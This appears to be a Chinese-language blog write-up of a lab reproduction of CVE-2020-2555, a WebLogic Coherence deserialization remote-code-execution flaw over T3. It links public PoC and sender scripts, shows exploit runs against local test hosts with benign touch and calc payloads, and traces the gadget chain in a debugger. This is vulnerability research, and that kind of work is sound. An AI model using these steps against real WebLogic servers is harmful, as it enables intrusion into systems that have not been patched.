[CVE-2020-2555]weblogic coherence 反序列化RCE via t3

PoC:
https://github.com/Y4er/CVE-2020-2555/blob/master/CVE-2020-2555.java

影响版本:
3.7.1.17, 12.1.3.0.0, 12.2.1.3.0 and 12.2.1.4.0
参考:
https://nvd.nist.gov/vuln/detail/CVE-2020-2555
这个weblogic t3协议发包工具可以用来对weblogic基于t3协议触发的反序列化漏洞进行利用:
[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第1张图片
发送t3数据包可以使用
https://github.com/Y4er/CVE-2020-2555/blob/master/weblogic_t3.py
传入被反序列化对象的文件名即可:

$ python2 weblogic_t3.py 127.0.0.1 7001 CVE-2020-2555.ser                                          [15:33:15]
[+] Connecting to 127.0.0.1 port 7001
sending "t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://us-l-breens:7001

"
received "HELO:12.1.3.0.0.false
AS:2048
HL:19
MS:10000000

"
[+] Sending payload...
received ""

ser文件中包含的执行的命令是:

/bin/touch /tmp/test_for_weblogic

[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第2张图片
也可以用:
https://github.com/Coalfire-Research/java-deserialization-exploits/blob/master/WebLogic/weblogic.py

用南哥那个环境搭建工具,弄了一下没成功,不知道是不是coherence.jar包的问题。
据说不是默认配置?不过学习了使用t3协议发送发序列化对象数据的方式。

参考:

  • https://hu3sky.github.io/2020/03/08/CVE-2020-2555%20%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
  • https://www.cnblogs.com/xdp-gacl/p/4140683.html
  • http://blog.itpub.net/28698327/viewspace-777214/

不过后来用windows安装之后,利用成功了。

python2 weblogic_t3.py 192.168.170.248 7001 CVE-2020-2555_cmd_c_calc.ser

[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第3张图片

以上环境:
jdk :1.7.0_79
weblogic:fmw_12.1.3.0.0_wls.jar

[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第4张图片
以上环境:
jdk :1.7.0_80
weblogic:fmw_12.1.3.0.0_wls.jar
Windows 10 Enterprise

安装时选择了“含示例的完整安装”。
[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第5张图片

然后coherence.jar包存在于这些地方:
[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第6张图片
尝试使用默认选项进行安装:
[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第7张图片
[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第8张图片
这两个选项我都没选,利用也成功了。
coherence.jar包的位置:
[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第9张图片
我以为只有选择“含示例的完整安装”才会有,原来默认状态安装也会有。

调试

参考南哥的weblogic设置断点的代码:
https://github.com/QAX-A-Team/WeblogicEnvironment/blob/master/scripts/open_debug_mode.sh
Windows需要在
[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第10张图片
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\bin\setDomainEnv.cmd
恰当的位置加上一行代码:

set debugFlag=true

[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第11张图片
端口:8453
[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第12张图片
在IDEA中配置好相应的jar包,
javax/management/BadAttributeValueExpException#readObject下断点。
居然调试进来了:
看一下调用栈(并没有很长):

readObject:69, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1893, ObjectInputStream (java.io)
readOrdinaryObject:1798, ObjectInputStream (java.io)
readObject0:1350, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

(插一句)从这里
weblogic/socket/BaseAbstractMuxableSocket#dispatch
开始处理t3协议:
[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第13张图片

然后跟一下这个gadget chain的流程吧,
gadget chain:

javax.management.BadAttributeValueExpException#readObject()->
    coherence.jar!com.tangosol.util.filter.LimitFilter#toString()->
        coherence.jar!com.tangosol.util.extractor.ChainedExtractor#extract()->
            coherence.jar!com.tangosol.util.extractor.ReflectionExtractor#extract()->
                Method#invoke()->
                ...
                coherence.jar!com.tangosol.util.extractor.ReflectionExtractor#extract()->
                    Method#invoke()->
                        Runtime#exec()

[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第14张图片
coherence.jar!/com/tangosol/util/extractor/ChainedExtractor#extract
在这里进行循环:oTarget对象循环被赋值,最终变成Runtime对象
[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第15张图片
最终执行到:
[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第16张图片
难道我F8按快了,这么多计算器?
[CVE-2020-2555]weblogic coherence 反序列化RCE via t3_第17张图片

原理分析及PoC构造参考:

  • Oracle Coherence 反序列化漏洞分析(CVE-2020-2555)
  • 教你一步一步构造CVE-2020-2555 POC

你可能感兴趣的:(java,安全,Web)